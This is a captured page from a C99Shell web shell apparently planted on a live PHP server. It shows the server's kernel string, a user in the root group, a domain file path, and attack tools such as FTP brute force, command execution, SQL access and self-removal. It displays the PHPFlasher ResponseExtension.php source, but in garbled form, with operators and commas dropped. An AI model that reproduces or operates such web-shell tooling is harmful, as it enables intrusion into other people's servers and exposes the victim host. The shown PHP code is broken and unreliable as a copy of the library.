!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher/Http/   drwxr-xr-x
Free 29.17 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResponseExtension.php (2.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Prime\Http;

use 
Flasher\Prime\FlasherInterface;
use 
Flasher\Prime\Response\Presenter\HtmlPresenter;

final class 
ResponseExtension
{
    
/**
     * @var FlasherInterface
     */
    
private $flasher;

    public function 
__construct(FlasherInterface $flasher)
    {
        
$this->flasher $flasher;
    }

    
/**
     * @return ResponseInterface
     */
    
public function render(RequestInterface $requestResponseInterface $response)
    {
        if (!
$this->isRenderable($request$response)) {
            return 
$response;
        }

        
$content $response->getContent() ?: '';
        if (!
\is_string($content)) {
            return 
$response;
        }

        
$placeHolders = array(
            
HtmlPresenter::FLASHER_FLASH_BAG_PLACE_HOLDER,
            
HtmlPresenter::HEAD_END_PLACE_HOLDER,
            
HtmlPresenter::BODY_END_PLACE_HOLDER,
        );

        foreach (
$placeHolders as $insertPlaceHolder) {
            
$insertPosition strripos($content$insertPlaceHolder);
            if (
false !== $insertPosition) {
                break;
            }
        }

        if (
false === $insertPosition) {
            return 
$response;
        }

        
$alreadyRendered HtmlPresenter::FLASHER_FLASH_BAG_PLACE_HOLDER === $insertPlaceHolder;
        
$htmlResponse $this->flasher->render(array(), 'html', array('envelopes_only' => $alreadyRendered));

        if (empty(
$htmlResponse)) {
            return 
$response;
        }

        
$htmlResponse "\n".str_replace("\n"''$htmlResponse)."\n";
        
$offset $alreadyRendered strlen(HtmlPresenter::FLASHER_FLASH_BAG_PLACE_HOLDER) : 0;

        
$content substr($content0$insertPosition).$htmlResponse.substr($content$insertPosition $offset);
        
$response->setContent($content);

        return 
$response;
    }

    
/**
     * @return bool
     */
    
private function isRenderable(RequestInterface $requestResponseInterface $response)
    {
        return !
$request->isXmlHttpRequest()
            && 
$request->isHtmlRequestFormat()
            && !
$response->isRedirection()
            && 
$response->isHtml()
            && !
$response->isAttachment()
            && !
$response->isJson();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--